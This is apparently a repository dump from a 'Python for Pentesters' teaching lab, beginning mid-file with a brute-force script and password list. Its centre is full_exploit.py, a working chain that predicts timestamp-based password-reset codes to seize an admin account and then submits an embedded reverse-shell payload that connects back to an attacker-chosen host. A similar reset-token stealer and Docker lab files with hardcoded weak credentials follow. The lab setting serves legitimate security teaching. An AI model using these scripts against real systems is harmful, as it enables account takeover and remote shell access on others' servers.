"__main__": 31 | if(len(sys.argv) != 3): 32 | print(f"python {sys.argv[0]} ") 33 | print(f"python {sys.argv[0]} khalid@omani.cloud passwords.txt") 34 | sys.exit(0) 35 | main(sys.argv[1], sys.argv[2]) 36 | -------------------------------------------------------------------------------- /code/web/brute_force/passwords.txt: -------------------------------------------------------------------------------- 1 | password 2 | secret 3 | secret123 4 | hello1234 5 | hello123 6 | magic9999 7 | mag1c0 8 | -------------------------------------------------------------------------------- /code/web/exploit/full_exploit.py: -------------------------------------------------------------------------------- 1 | import sys, requests, hashlib, urllib3, json 2 | import secrets 3 | from datetime import datetime, timedelta 4 | from urllib.parse import unquote 5 | from time import sleep 6 | 7 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 8 | 9 | DIFF = 8 10 | NEW_PASSWORD = secrets.token_hex(8) 11 | 12 | OUR_RCE_CODE = """ 13 | from multiprocessing import Process 14 | def do_reverse_shell(): 15 | import socket, os, pty 16 | HOST = "{}" 17 | PORT = {} 18 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 19 | s.connect((HOST, PORT)) 20 | os.dup2(s.fileno(),0) 21 | os.dup2(s.fileno(),1) 22 | os.dup2(s.fileno(),2) 23 | pty.spawn("/bin/bash") 24 | p = Process(target=do_reverse_shell) 25 | p.start() 26 | from time import sleep 27 | sleep(10) 28 | """ 29 | 30 | SAMPLE_IMAGE_BASE64 = ("data:image/jpeg;base64,/9j/4AAQSkZJRgABA" 31 | "QEASABIAAD/2wBDAP///////////////////////" 32 | "////////////////////////////////////////" 33 | "///////////////////////wgALCAABAAEBAREA/" 34 | "8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABP" 35 | "xA=") 36 | 37 | # PROXIES = {"http":"http://127.0.0.1:8080"} 38 | PROXIES = None 39 | 40 | def get_csrf_token(res): 41 | return res.text[res.text.find("_token"):].split("\"")[2] 42 | 43 | def reset_password(target_url, s, email): 44 | res = s.get(target_url + "/resetpassword", verify=False, proxies=PROXIES) 45 | token = get_csrf_token(res) 46 | 47 | res = s.post(target_url + "/resetpassword", { 48 | "_token": token, 49 | "email": email 50 | }, verify=False, proxies=PROXIES) 51 | 52 | if("An email has been sent to reset the password" in res.text): 53 | print("[*] The password has been reset!") 54 | else: 55 | print("[-] Couldn't reset the password!") 56 | sys.exit(-1) 57 | 58 | password_reset_time = str(datetime.now().timestamp()).split(".")[0] 59 | 60 | possible_password_reset_times = [str(i) for i in range(int(password_reset_time)-DIFF, 61 | int(password_reset_time) + DIFF)] 62 | 63 | possible_password_reset_codes = [hashlib.sha1(code.encode()).hexdigest() 64 | for code in possible_password_reset_times] 65 | 66 | found = False 67 | for possible_code in possible_password_reset_codes: 68 | res = s.get(target_url + "/reset?code=" + possible_code, verify=False, proxies=PROXIES) 69 | if("New Password" in res.text): 70 | found = True 71 | print("[+] Found password reset code:", possible_code) 72 | token = get_csrf_token(res) 73 | password_reset_code = possible_code 74 | 75 | if(not found): 76 | print("[-] Couldn't find the password reset code") 77 | sys.exit(-1) 78 | 79 | res = s.post(target_url + "/reset", { 80 | "_token": token, 81 | "token": password_reset_code, 82 | "password": NEW_PASSWORD, 83 | "password_confirmation": NEW_PASSWORD 84 | }, verify=False, proxies=PROXIES) 85 | 86 | if("Password changed successfully" in res.text): 87 | print("[+] The password has been changed successfully!") 88 | print("[+] The new password:", NEW_PASSWORD) 89 | else: 90 | print("[-] Couldn't reset the password for unknown reasons :(") 91 | sys.exit(-1) 92 | 93 | def login(target_url, s, email, password): 94 | res = s.get(target_url + "/login", verify=False, proxies=PROXIES) 95 | token = get_csrf_token(res) 96 | res = s.post(target_url + "/login", { 97 | "_token": token, 98 | "email": email, 99 | "password": password 100 | }, verify=False, proxies=PROXIES) 101 | if("My Profile" in res.text): 102 | print("[*] Logged in successfully!") 103 | else: 104 | print("[-] Couldn't log in for some reason :(") 105 | sys.exit(-1) 106 | 107 | def add_new_lang(target_url, s): 108 | # check if language with ID 1 already exists 109 | res = s.get(target_url + "/controlpanel/languages", 110 | verify=False, 111 | proxies=PROXIES) 112 | res = res.text 113 | 114 | start_index = res.find(":languages=\"'") + 13 115 | end_index = res.find("'", start_index) 116 | languages = res[start_index:end_index].replace("\\"", "\"").strip() 117 | languages_json = json.loads(languages) 118 | for language in languages_json: 119 | if(language["id"] == 1): 120 | language_id = language["id"] 121 | language_name = language["name"] 122 | print(f"[*] A language '{language_name}' with ID {language_id} already exists..") 123 | language_id = language["id"] 124 | return language_id 125 | 126 | # If not, we will add it as "python" 127 | language_name = "python" 128 | data_json = {"name": language_name, 129 | "dir": language_name, 130 | "logo": SAMPLE_IMAGE_BASE64 131 | } 132 | res = s.post(target_url + "/controlpanel/languages/new", 133 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 134 | json=data_json, proxies=PROXIES) 135 | res = res.json() 136 | if("language has been added to the system successfully" == res["description"]): 137 | print("[*] Python has been added successfully as a Programming language!") 138 | return res["id"] 139 | else: 140 | print("[-] Failed to add Python as a Programming language :(!") 141 | sys.exit(-1) 142 | 143 | def activate_lang(target_url, s, lang_id): 144 | data_json = {"status": "1", "id": lang_id} 145 | res = s.post(target_url + "/controlpanel/languages/activat", 146 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 147 | json=data_json, proxies=PROXIES) 148 | res = res.json() 149 | if("language status changed successfully" == res["description"]): 150 | print("[*] Language has been activated successfully!") 151 | else: 152 | print("[-] Failed to activate the language :(") 153 | sys.exit(-1) 154 | 155 | def create_problem(target_url, s): 156 | problem_name = secrets.token_hex(10) 157 | data_json = {"name": problem_name, 158 | "description": "test_problem", 159 | "question":"data:application/pdf;base64,", 160 | "score":"123"} 161 | res = s.post(target_url + "/controlpanel/problems/creat", 162 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 163 | json=data_json, proxies=PROXIES) 164 | res = res.json() 165 | if("The problem has been successfully added to the library" == res["description"]): 166 | print("[*] Created a test problem!") 167 | print("[*] Extracting the problem's ID..") 168 | 169 | res = s.get(target_url + "/controlpanel/problems", verify=False, proxies=PROXIES) 170 | res = res.text 171 | start_index = res.find(":problems=\"'") + 13 172 | end_index = res.find("'", start_index) 173 | problems = res[start_index:end_index].replace("\\"", "\"").strip() 174 | problems_json = json.loads(problems) 175 | for problem in problems_json: 176 | if(problem["name"] == problem_name): 177 | problem_id = problem["id"] 178 | print("[+] Found problem ID:", problem_id) 179 | return problem_id, problem_name 180 | else: 181 | print("[-] Couldn't create a test problem :(") 182 | sys.exit(-1) 183 | 184 | def add_problem_testcase(target_url, s, problem_id): 185 | data_json = {"problemid": problem_id, 186 | "input":"anything", 187 | "output":"anything", 188 | "executtime":"2"} 189 | res = s.post(target_url + "/controlpanel/problems/testcase/creat", 190 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 191 | json=data_json, proxies=PROXIES) 192 | res = res.json() 193 | if("The test case has been successfully added" == res["description"]): 194 | print("[*] Test case has been added!") 195 | else: 196 | print("[-] Couldn't create a testcase :(") 197 | sys.exit(-1) 198 | 199 | def create_contest(target_url, s): 200 | start_date = datetime.now() + timedelta(seconds=5) 201 | start_date_str = start_date.strftime("%Y-%m-%dT%H:%M:%S") 202 | end_date = start_date + timedelta(days=3) 203 | end_date_str = end_date.strftime("%Y-%m-%dT%H:%M:%S") 204 | 205 | contest_name = secrets.token_hex(10) 206 | 207 | data_json = {"name":contest_name, 208 | "description":"test_contest", 209 | "startingtime": start_date_str, 210 | "endingtime": end_date_str, 211 | "private":"0", 212 | "team":"0", 213 | "time":"1", 214 | "conditions":"", 215 | "prize":"", 216 | "profile": SAMPLE_IMAGE_BASE64, 217 | "logo": SAMPLE_IMAGE_BASE64 218 | } 219 | 220 | res = s.post(target_url + "/controlpanel/contests/creat", headers={ 221 | "X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"]), 222 | "Accept":"application/json" 223 | }, json=data_json, proxies=PROXIES) 224 | 225 | res = res.json() 226 | if("Contest created successfully" == res["description"]): 227 | print("[+] Contest has been created successfully!") 228 | print("[*] Extracting the contest's ID..") 229 | res = s.get(target_url + "/controlpanel/contests", verify=False, proxies=PROXIES) 230 | res = res.text 231 | start_index = res.find(":contests=\"'") + 12 232 | end_index = res.find("'", start_index) 233 | contests = res[start_index:end_index].replace("\\"", "\"").strip() 234 | contests_json = json.loads(contests) 235 | for contest in contests_json: 236 | if(contest["name"] == contest_name): 237 | contest_id = contest["id"] 238 | print("[+] Found contest's ID:", contest_id) 239 | return contest_id, contest_name 240 | else: 241 | print("[-] Contest has not been created :(") 242 | sys.exit(-1) 243 | 244 | def activate_contest(target_url, s, contest_id): 245 | data_json = {"status":1, "id": contest_id} 246 | res = s.post(target_url + "/controlpanel/contests/active", headers={ 247 | "X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"]), 248 | "Accept": "application/json" 249 | }, json=data_json, proxies=PROXIES) 250 | res = res.json() 251 | if("Contest status changed successfully" == res["description"]): 252 | print("[+] Contest has been activated successfully!") 253 | else: 254 | print("[-] Failed to activate the contest :(") 255 | sys.exit(-1) 256 | 257 | def add_lang_to_contest(target_url, s, lang_id, contest_id, contest_name): 258 | data_json = {"language": lang_id, "contestid": str(contest_id)} 259 | res = s.post(target_url + f"/competition/{contest_name}/mange/languages/add", 260 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 261 | json=data_json, proxies=PROXIES) 262 | res = res.json() 263 | if("Language has been added successfully" == res["description"]): 264 | print("[+] The language has been added sucessfully to contest") 265 | else: 266 | print("[-] Failed to add the language to contest :(") 267 | sys.exit(-1) 268 | 269 | def add_problem_to_contest(target_url, s, problem_id, contest_id, contest_name): 270 | data_json = {"problem": problem_id, "contestid": contest_id} 271 | res = s.post(target_url + f"/competition/{contest_name}/mange/question/add", 272 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 273 | json=data_json, proxies=PROXIES) 274 | res = res.json() 275 | if("Question has been added successfully" == res["description"]): 276 | print("[+] The problem has been added to contest") 277 | else: 278 | print("[-] Failed to add problem to contest :(") 279 | sys.exit(-1) 280 | 281 | def subscribe_to_contest(target_url, s, contest_id, contest_name): 282 | res = s.get(target_url + f"/competition/{contest_name}/subscription/{contest_id}", 283 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 284 | verify=False, 285 | proxies=PROXIES) 286 | 287 | if("Successful subscription, good luck." in res.text): 288 | print("[+] Subscribed successfully to contest") 289 | else: 290 | print("[-] Failed to subscribe to contest :(") 291 | sys.exit(-1) 292 | 293 | def do_rce(target_url, s, contest_name, problem_name, lang_id=1): 294 | # When lang_id == 1, this indicates that it's Python. 295 | res = s.get(target_url + f"/competition/{contest_name}/challenges/{problem_name}", 296 | headers={"X-XSRF-TOKEN": unquote(s.cookies["XSRF-TOKEN"])}, 297 | verify=False, 298 | proxies=PROXIES) 299 | token = get_csrf_token(res) 300 | res = s.post(target_url + f"/competition/{contest_name}/challenges/{problem_name}", 301 | files = {"_token": (None, token), 302 | "language": (None, 1), 303 | "code": ("test.py", OUR_RCE_CODE, "text/x-python")}, 304 | verify=False, proxies = PROXIES) 305 | if("The solution was not accepted due to: Time out" in res.text): 306 | print("[+] Our code should have been executed!") 307 | else: 308 | print("[-] Our code may have not been executed :(") 309 | sys.exit(-1) 310 | 311 | def main(target_url, admin_email): 312 | s = requests.Session() 313 | reset_password(target_url, s, admin_email) 314 | login(target_url, s, admin_email, NEW_PASSWORD) 315 | lang_id = add_new_lang(target_url, s) 316 | activate_lang(target_url, s, lang_id) 317 | problem_id, problem_name = create_problem(target_url, s) 318 | add_problem_testcase(target_url, s, problem_id) 319 | contest_id, contest_name = create_contest(target_url, s) 320 | activate_contest(target_url, s, contest_id) 321 | add_lang_to_contest(target_url, s, lang_id, contest_id, contest_name) 322 | add_problem_to_contest(target_url, s, problem_id, contest_id, contest_name) 323 | subscribe_to_contest(target_url, s, contest_id, contest_name) 324 | print("[*] Waiting for the contest to start :)") 325 | sleep(10) 326 | do_rce(target_url, s, contest_name, problem_name) 327 | 328 | if __name__ == "__main__": 329 | if(len(sys.argv) != 5): 330 | print(f"python3 {sys.argv[0]} ") 331 | print(f"python3 {sys.argv[0]} http://172.16.238.100 joe@omani.cloud 172.16.238.1 9999") 332 | sys.exit(0) 333 | OUR_RCE_CODE = OUR_RCE_CODE.format(sys.argv[3], sys.argv[4]) 334 | main(sys.argv[1].rstrip("/"), sys.argv[2]) 335 | -------------------------------------------------------------------------------- /code/web/reset_token/token_stealer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | from datetime import datetime 4 | import hashlib 5 | 6 | DIFF = 8 7 | PROXIES=None 8 | 9 | def get_csrf_token(res): 10 | token_index = res.text.find("_token") 11 | token = res.text[token_index:].split('"')[2] 12 | return token 13 | 14 | def get_password_reset_token(email): 15 | s = requests.Session() 16 | res = s.get("http://172.16.238.100/resetpassword", verify=False, proxies=PROXIES) 17 | token = get_csrf_token(res) 18 | 19 | res = s.post("http://172.16.238.100/resetpassword", { 20 | "_token": token, 21 | "email": email 22 | }, verify=False, proxies=PROXIES) 23 | 24 | if("An email has been sent to reset the password" in res.text): 25 | print("[*] The password has been reset!") 26 | else: 27 | print("[-] Couldn't reset the password!") 28 | sys.exit(-1) 29 | 30 | password_reset_time = str(datetime.now().timestamp()).split(".")[0] 31 | 32 | possible_password_reset_times = [str(i) for i in range(int(password_reset_time)-DIFF, 33 | int(password_reset_time) + DIFF)] 34 | 35 | possible_password_reset_codes = [hashlib.sha1(code.encode()).hexdigest() 36 | for code in possible_password_reset_times] 37 | 38 | found = False 39 | for possible_code in possible_password_reset_codes: 40 | res = s.get("http://172.16.238.100/reset?code=" + possible_code, verify=False, proxies=PROXIES) 41 | if("New Password" in res.text): 42 | found = True 43 | print("[+] Found password reset code:", possible_code) 44 | token = get_csrf_token(res) 45 | password_reset_code = possible_code 46 | 47 | if(not found): 48 | print("[-] Couldn't find the password reset code") 49 | sys.exit(-1) 50 | 51 | if __name__ == "__main__": 52 | if(len(sys.argv) != 2): 53 | print(f"python {sys.argv[0]} ") 54 | print(f"python {sys.argv[0]} khalid@omani.cloud") 55 | sys.exit(0) 56 | get_password_reset_token(sys.argv[1]) 57 | -------------------------------------------------------------------------------- /lab/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | 3 | services: 4 | 5 | pcpapp: 6 | build: ./pcpapp 7 | image: pcpapp 8 | container_name: pcpapp 9 | hostname: pcpapp 10 | restart: on-failure 11 | depends_on: 12 | - mysqldb 13 | networks: 14 | app_net: 15 | ipv4_address: 172.16.238.100 16 | 17 | mysqldb: 18 | image: mysql:latest 19 | container_name: mysqldb 20 | hostname: mysqldb 21 | environment: 22 | MYSQL_ROOT_PASSWORD: secret 23 | MYSQL_DATABASE: pcpapp 24 | MYSQL_USER: pcpapp 25 | MYSQL_PASSWORD: pcppassword 26 | networks: 27 | app_net: 28 | ipv4_address: 172.16.238.51 29 | 30 | server1: 31 | build: ./server1 32 | image: server1 33 | hostname: server1 34 | container_name: server1 35 | cap_add: 36 | - NET_ADMIN 37 | networks: 38 | app_net: 39 | ipv4_address: 172.16.238.11 40 | 41 | server2: 42 | build: ./server2 43 | image: server2 44 | hostname: server2 45 | container_name: server2 46 | networks: 47 | app_net: 48 | ipv4_address: 172.16.238.12 49 | 50 | # Network config 51 | networks: 52 | app_net: 53 | driver: bridge 54 | ipam: 55 | driver: default 56 | config: 57 | - subnet: 172.16.238.0/24 58 | gateway: 172.16.238.1 59 | name: lab 60 | driver_opts: 61 | com.docker.network.bridge.name: br-lab 62 | -------------------------------------------------------------------------------- /lab/pcpapp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV TZ="Asia/Muscat" 4 | ENV DEBIAN_FRONTEND="noninteractive" 5 | 6 | RUN apt update 7 | RUN apt install -y \ 8 | git \ 9 | php-cli \ 10 | php-curl \ 11 | php-xml \ 12 | php-mysql \ 13 | php-gd \ 14 | unzip \ 15 | curl \ 16 | neovim \ 17 | software-properties-common 18 | 19 | RUN add-apt-repository ppa:deadsnakes/ppa -y 20 | RUN apt install python3.10 -y 21 | RUN ln -s /usr/bin/python3.10 /usr/bin/python 22 | 23 | RUN curl -sS https://getcomposer.org/installer -o composer-setup.php 24 | RUN php composer-setup.php --install-dir=/usr/local/bin --filename=composer 25 | 26 | RUN mkdir /usr/src/app 27 | WORKDIR /usr/src/app 28 | 29 | ENV DB_CONNECTION="mysql" 30 | ENV APP_TIMEZONE="Asia/Muscat" 31 | ENV DB_HOST="172.16.238.51" 32 | ENV DB_PORT="3306" 33 | ENV DB_DATABASE="pcpapp" 34 | ENV DB_USERNAME="pcpapp" 35 | ENV DB_PASSWORD="pcppassword" 36 | 37 | RUN git clone https://github.com/omr00t/PCPAPP . 38 | RUN composer update --no-scripts 39 | RUN cp .env.example .env 40 | RUN php artisan key:generate 41 | CMD bash -c "php artisan migrate && php artisan db:seed --force && php artisan serve --host 0.0.0.0 --port 80" 42 | -------------------------------------------------------------------------------- /lab/server1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV TZ="Asia/Muscat" 4 | ENV DEBIAN_FRONTEND="noninteractive" 5 | 6 | RUN apt update 7 | RUN apt install -y \ 8 | openssh-server \ 9 | neovim \ 10 | net-tools \ 11 | iputils-ping \ 12 | iptables \ 13 | libpcap0.8-dev \ 14 | netcat \ 15 | binutils \ 16 | software-properties-common 17 | 18 | RUN add-apt-repository ppa:deadsnakes/ppa -y 19 | RUN apt update 20 | RUN apt install python3.10-full python3.10-dev -y 21 | RUN ln -s /usr/bin/python3.10 /usr/bin/python 22 | RUN python -m ensurepip --upgrade 23 | RUN pip3.10 install pyftpdlib 24 | RUN pip3.10 install scapy 25 | 26 | RUN mkdir /ftp/ 27 | RUN echo "I'm a simple dummy file :)" > /ftp/dummy.txt 28 | 29 | 30 | ENV FTP_PORT="21" 31 | ENV FTP_USERNAME="ftpuser" 32 | ENV FTP_PASSWORD="ftps3cr3tpassw0rd" 33 | ENV FTP_DIRECTORY="/ftp/" 34 | 35 | COPY ftp_server/ftp_server.py /root/ 36 | 37 | 38 | 39 | RUN mkdir /var/run/sshd 40 | 41 | RUN echo 'root:s3cr3t' | chpasswd 42 | RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config 43 | RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 44 | 45 | ENV NOTVISIBLE "in users profile" 46 | RUN echo "export VISIBLE=now" >> /etc/profile 47 | 48 | RUN useradd -d /home/khalid/ -m -s /bin/bash -U khalid 49 | RUN echo "khalid:1337khalid" | chpasswd 50 | 51 | 52 | COPY run.sh /root/ 53 | CMD ["bash", "/root/run.sh"] 54 | -------------------------------------------------------------------------------- /lab/server1/ftp_server/ftp_server.py: -------------------------------------------------------------------------------- 1 | from pyftpdlib.authorizers import DummyAuthorizer 2 | from pyftpdlib.handlers import FTPHandler 3 | from pyftpdlib.servers import FTPServer 4 | from os import environ 5 | 6 | 7 | FTP_PORT = int(environ["FTP_PORT"]) if "FTP_PORT" in environ else 21 8 | FTP_USERNAME = environ["FTP_USERNAME"] if "FTP_USERNAME" in environ else "ftpuser" 9 | FTP_PASSWORD = environ["FTP_PASSWORD"] if "FTP_PASSWORD" in environ else "ftps3cr3tpassw0rd" 10 | FTP_DIRECTORY = environ["FTP_DIRECTORY"] if "FTP_DIRECTORY" in environ else "/ftp/" 11 | 12 | def main(): 13 | authorizer = DummyAuthorizer() 14 | 15 | authorizer.add_user(FTP_USERNAME, FTP_PASSWORD, FTP_DIRECTORY, perm='elradfmw') 16 | 17 | handler = FTPHandler 18 | handler.authorizer = authorizer 19 | 20 | handler.banner = "pyftpdlib based ftpd ready." 21 | 22 | address = ('', FTP_PORT) 23 | server = FTPServer(address, handler) 24 | 25 | server.max_cons = 3000 26 | server.max_cons_per_ip = 800 27 | 28 | server.serve_forever() 29 | 30 | if __name__ == '__main__': 31 | main() 32 | -------------------------------------------------------------------------------- /lab/server1/run.sh: -------------------------------------------------------------------------------- 1 | # For ARP poisoning demo 2 | iptables -t nat -A POSTROUTING -j MASQUERADE 3 | 4 | # FTP server 5 | python3.10 /root/ftp_server.py & 6 | # SSH daemon 7 | /usr/sbin/sshd -D 8 | -------------------------------------------------------------------------------- /lab/server2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV TZ="Asia/Muscat" 4 | ENV DEBIAN_FRONTEND="noninteractive" 5 | 6 | RUN apt update 7 | 8 | RUN apt install -y \ 9 | curl \ 10 | openssl \ 11 | neovim \ 12 | net-tools \ 13 | iputils-ping \ 14 | ftp \ 15 | netcat \ 16 | software-properties-common 17 | 18 | RUN add-apt-repository ppa:deadsnakes/ppa -y 19 | RUN apt install python3.10 -y 20 | RUN ln -s /usr/bin/python3.10 /usr/bin/python 21 | 22 | RUN mkdir -p /var/www/app1/ 23 | RUN mkdir /var/www/app2/ 24 | 25 | WORKDIR /var/www/app1/ 26 | COPY apps/app1/* ./ 27 | 28 | WORKDIR /var/www/app2/ 29 | COPY apps/app2/* ./ 30 | 31 | WORKDIR /root/ 32 | COPY apps/tools/* ./ 33 | 34 | CMD ["bash", "run_apps.sh"] 35 | -------------------------------------------------------------------------------- /lab/server2/apps/app1/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | server 2 app 1 4 | 5 | 6 |
7 | 8 | Welcome to server 2 app 1! 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /lab/server2/apps/app2/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | server 2 app 2 4 | 5 | 6 |
7 | 8 | Welcome to server 2 app 2! 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /lab/server2/apps/tools/http_auth.py: -------------------------------------------------------------------------------- 1 | # Based on this code: https://gist.github.com/mauler/593caee043f5fe4623732b4db5145a82 2 | from functools import partial 3 | import http.server 4 | import base64 5 | import os 6 | import ssl 7 | import pathlib 8 | import subprocess 9 | 10 | class AuthHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): 11 | def __init__(self, *args, **kwargs): 12 | username = kwargs.pop("username") 13 | password = kwargs.pop("password") 14 | self._auth = base64.b64encode(f"{username}:{password}".encode()).decode() 15 | super().__init__(*args, **kwargs) 16 | 17 | def do_HEAD(self): 18 | self.send_response(200) 19 | self.send_header("Content-type", "text/html") 20 | self.end_headers() 21 | 22 | def do_AUTHHEAD(self): 23 | self.send_response(401) 24 | self.send_header("WWW-Authenticate", 'Basic realm="Log in"') 25 | self.send_header("Content-type", "text/html") 26 | self.end_headers() 27 | 28 | def do_GET(self): 29 | if self.headers.get("Authorization") == None: 30 | self.do_AUTHHEAD() 31 | self.wfile.write(b"Man, you better include the auth header!") 32 | elif self.headers.get("Authorization") == "Basic " + self._auth: 33 | http.server.SimpleHTTPRequestHandler.do_GET(self) 34 | else: 35 | self.do_AUTHHEAD() 36 | self.wfile.write(b"Nope, I don't like your auth.") 37 | 38 | USERNAME = os.environ["HTTP_AUTH_USERNAME"] if "HTTP_AUTH_USERNAME" in os.environ else "admin" 39 | PASSWORD = os.environ["HTTP_AUTH_PASSWORD"] if "HTTP_AUTH_PASSWORD" in os.environ else "password" 40 | PORT = int(os.environ["HTTP_AUTH_PORT"]) if "HTTP_AUTH_PORT" in os.environ else 8000 41 | HOST = os.environ["HTTP_AUTH_HOST"] if "HTTP_AUTH_HOST" in os.environ else "0.0.0.0" 42 | DIRECTORY = os.environ["HTTP_AUTH_DIRECTORY"] if "HTTP_AUTH_DIRECTORY" in os.environ else os.getcwd() 43 | 44 | if __name__ == "__main__": 45 | handler_class = partial( 46 | AuthHTTPRequestHandler, 47 | username=USERNAME, 48 | password=PASSWORD, 49 | directory=DIRECTORY, 50 | ) 51 | httpd = http.server.HTTPServer((HOST,PORT), handler_class) 52 | 53 | print(f"Starting an HTTP server on {HOST}:{PORT} ..") 54 | if("HTTP_AUTH_SSL" in os.environ 55 | and 56 | os.environ["HTTP_AUTH_SSL"].lower() == "true"): 57 | ret = subprocess.Popen("openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj \"/C=OM/ST=Alsharqyah NORTH/L=Bidiyah/O=.../OU=.../CN=.../emailAddress=...\"", shell=True, stderr=subprocess.DEVNULL).wait() 58 | if(ret != 0): 59 | raise Exception("Couldn't generate a valid certificate!") 60 | 61 | print("Wrapping it with TLS..") 62 | context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 63 | context.load_cert_chain(os.path.join(pathlib.Path(__file__).parent.absolute(), 'server.pem')) 64 | httpd.socket = context.wrap_socket(httpd.socket, server_side=True) 65 | 66 | try: 67 | httpd.serve_forever() 68 | except KeyboardInterrupt: 69 | print("Keyboard interrupt received.") 70 | -------------------------------------------------------------------------------- /lab/server2/apps/tools/run_apps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export HTTP_AUTH_USERNAME="admin" 4 | export HTTP_AUTH_PASSWORD="mys3cr3tpassw0rd" 5 | export HTTP_AUTH_PORT="80" 6 | export HTTP_AUTH_HOST="0.0.0.0" 7 | export HTTP_AUTH_DIRECTORY="/var/www/app1/" 8 | python3.10 /root/http_auth.py & 9 | 10 | export HTTP_AUTH_USERNAME="root" 11 | export HTTP_AUTH_PASSWORD="r00tpassw0rd" 12 | export HTTP_AUTH_PORT="443" 13 | export HTTP_AUTH_HOST="0.0.0.0" 14 | export HTTP_AUTH_SSL="TRUE" 15 | export HTTP_AUTH_DIRECTORY="/var/www/app2/" 16 | python3.10 /root/http_auth.py 17 | -------------------------------------------------------------------------------- /lab/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [[ "--clean" == $@ ]]; then 4 | echo "Cleaning up.." 5 | echo "Deleting webapp rule.." 6 | sudo iptables -D INPUT -s 172.16.238.100 -d 172.16.238.1 -j ACCEPT &> /dev/null 7 | # Handle duplicate rules. 8 | while [ $? -eq 0 ]; do 9 | sudo iptables -D INPUT -s 172.16.238.100 -d 172.16.238.1 -j ACCEPT &> /dev/null 10 | done 11 | 12 | echo "Deleting subnet rule.." 13 | sudo iptables -D INPUT -s 172.16.238.0/24 -d 172.16.238.1 -j DROP 2>&1 &> /dev/null 14 | # Handle duplicate rules. 15 | while [ $? -eq 0 ]; do 16 | sudo iptables -D INPUT -s 172.16.238.0/24 -d 172.16.238.1 -j DROP &> /dev/null 17 | done 18 | # Stopping docker-compose 19 | docker-compose down -v 20 | else 21 | echo "Setting up.." 22 | echo "Inserting subnet rule.." 23 | # Deny packets from containers to host 24 | sudo iptables -I INPUT -s 172.16.238.0/24 -d 172.16.238.1 -j DROP 25 | echo "Inserting webapp rule.." 26 | # Allow packets from webapp to host 27 | sudo iptables -I INPUT -s 172.16.238.100 -d 172.16.238.1 -j ACCEPT 28 | # Build containers 29 | docker-compose build 30 | # Launching docker-compose 31 | docker-compose up 32 | fi 33 | -------------------------------------------------------------------------------- /slides/pdf/PythonForPentesters.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/omr00t/python-for-pentesters/e865e94b26694df603ee83c9095eca6a45045d3d/slides/pdf/PythonForPentesters.pdf -------------------------------------------------------------------------------- /slides/pptx/PythonForPentesters.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/omr00t/python-for-pentesters/e865e94b26694df603ee83c9095eca6a45045d3d/slides/pptx/PythonForPentesters.pptx --------------------------------------------------------------------------------